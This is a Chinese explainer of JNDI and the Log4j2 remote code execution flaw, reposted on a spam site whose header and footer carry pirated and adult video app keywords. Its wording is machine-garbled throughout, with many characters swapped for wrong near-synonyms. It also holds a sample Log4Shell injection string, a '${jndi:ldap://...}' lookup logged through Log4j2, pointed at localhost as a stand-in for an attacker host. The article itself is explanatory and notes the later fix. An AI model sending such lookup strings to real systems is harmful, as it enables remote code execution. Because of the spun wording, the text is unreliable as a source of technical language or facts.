让建站和SEO变得简单

让不懂建站的用户快速建站,让会建站的提高建站效率!

你的位置:丝瓜视频在线观看-丝瓜成版人app破解版-丝瓜视频破解版 > 丝瓜视频在线观看 >

引爆全球的 Log4j2 核弹级漏洞,Jndi 到底是个什么鬼?

  • 发布日期:2022-07-13 12:50    点击次数:186
  • 背景

    前段时间,Log4j2, Logback 日志框架一再爆雷:

    炸了!Log4j2 再爆漏洞,v2.17.1 横空出世。。。

    Logback 也爆雷了,惊爆了。。。

    究其原因,很大一单方就是由于 JNDI 这个玩意。。。

    JNDI

    JNDI:Java Naming and Directory Interface,即:Java 命名和目录接口,它专为 Java 答用程序挑供命名和目录功能。

    JNDI 架构图:

    如图,JNDI 包含以下两单方:

    1)JNDI API:

    Java 答用程序即是经过 JNDI API 来访问各栽命名和目录服务的。

    2)JNDI SPI(服务挑供接口)

    Java 答用程序经过 JNDI SPI 插入各栽命名和目录服务的,然后经过 JNDI API 进动访问。

    比如,没用 JNDI 之前,你大略要在 Java 代码中写仙游一些 JDBC 的数据库配置,有了 JNDI,就不妨把数据源定义一栽资源,然后经过名称进动查找,示例代码如下:

    Connection conn = null;  try {   Context ctx = new InitialContext();  DataSource ds = (Datasource) ctx.lookup("java:MysqlDataSource");  conn = ds.getConnection();  ... } catch(Exception e) {  ... } finally {  ... } 

    自然,数据源及配置目都是 Spring 进动管理了,这边只是介绍 JNDI 的一栽用法。

    说白了,JNDI 就是 Java 的一套规范,十分于把某个资源进动注册,再依照资源名称来查找定位资源。

    要行使 JNDI,必须要有一个 JDNI 类,以及 1 个或者多个服务挑供者(SPI),比如,在 JDK 中就包含以下几个服务挑供者:

    轻量级目录访问制订 (LDAP) 通用对象央求代理编制组织 (CORBA) 通用对象服务命名服务 (COS) Java 长途手腕调用 (RMI) 域名服务 (DNS)

    这边的 LDAP 制订正是一再爆漏洞的根源,抨击者屡试不爽。

    Log4j2 漏洞回顾

    网上很多复现的示例,为了不造成更大影响,这边就不实战演示了,示例代码如下:

    /**  * 作者:栈长  * 来源公多号:Java技术栈  */ public class Test {      public static final Logger logger = LogManager.getLogger();          public static void main(String[] args) {         logger.info("${jndi:ldap://localhost:8080/dangerious}");     }      } 

    这就是 Log4j2 核弹级漏洞的主因!

    LDAP 制订在上面有挑到,它是一个盛开的答用制订,也是 JDK JNDI 下面的一个服务挑供者,用于挑供目录讯歇访问局限。

    漏洞正是行使了 JDNI 中的 ldap 制订,以上代码中的 localhost 倘若是抨击者的地址,就会造成长途代码实动漏洞,生效就不堪设想。。

    这是由于 Log4j2 有一个 Lookups 功能,它挑供了一栽向 Log4j 配置中增添值的手腕,也就是经过一些手腕、制订往读取特定环境中的讯歇,Jndi Lookup 就是其中一栽:

    经过一系列的版本修复再调整,从 Log4j v2.17.0 开起,JNDI 操作需求经过以下参数主动开启:

    log4j2.enableJndiLookup=true 

    目这栽 jndi:ldap 制订查找方式也被 Log4j2 Lookups 干失往了,仅援救 java 制订或者别国制订这栽查找方式了。

    Log4j2 漏洞的后续进取,栈长也会持续跟进,关注公多号Java技术栈,公多号第且则间推送。

    结语

    Log4j2 Lookups 引发的漏洞真不少,这阵子继续在爆雷,这还真是个鸡肋功能,有几幼吾私家用到了?

    自然,这阵子的漏洞不全是由于 JNDI 造成的,JNDI 它只是挑供了一套规范,用得不益总弗成怪它吧?因而,吾们也弗成把职守全推到 JNDI 身上,Log4j2 Lookups 功能脱不了联系,既然挑供了 Jndi Lookup 功能,但对其影响面考虑的太少了。。

    一个日志框架,最紧张的方针是记录日志,固然挑供了很多其他雄厚的功能,但倘若别国考虑到位,逆而会引发厉重生效,毕竟安稳第一,但也没办法,用开源就得批准开源的利弊。

    还有人说,自身开发,这大略是气话了。主流开源的有很多公司在用,爆漏洞还有大厂逆馈,能第且则间感知,自身开发的,啥时候爆雷了,爆在哪了,怎么仙游的都不懂得,能弗成做益一款产品和持续维护还是另表一回事。

    参考文档:

    https://docs.oracle.com/javase/jndi/tutorial/getStarted/overview/index.html

    https://logging.apache.org/log4j/2.x/manual/lookups.html

    本文转载自微信公多号「Java技术栈」,不妨经过以下二维码关注。转载本文请联系Java技术栈公多号。

     





    Powered by 丝瓜视频在线观看-丝瓜成版人app破解版-丝瓜视频破解版 @2013-2022 RSS地图 HTML地图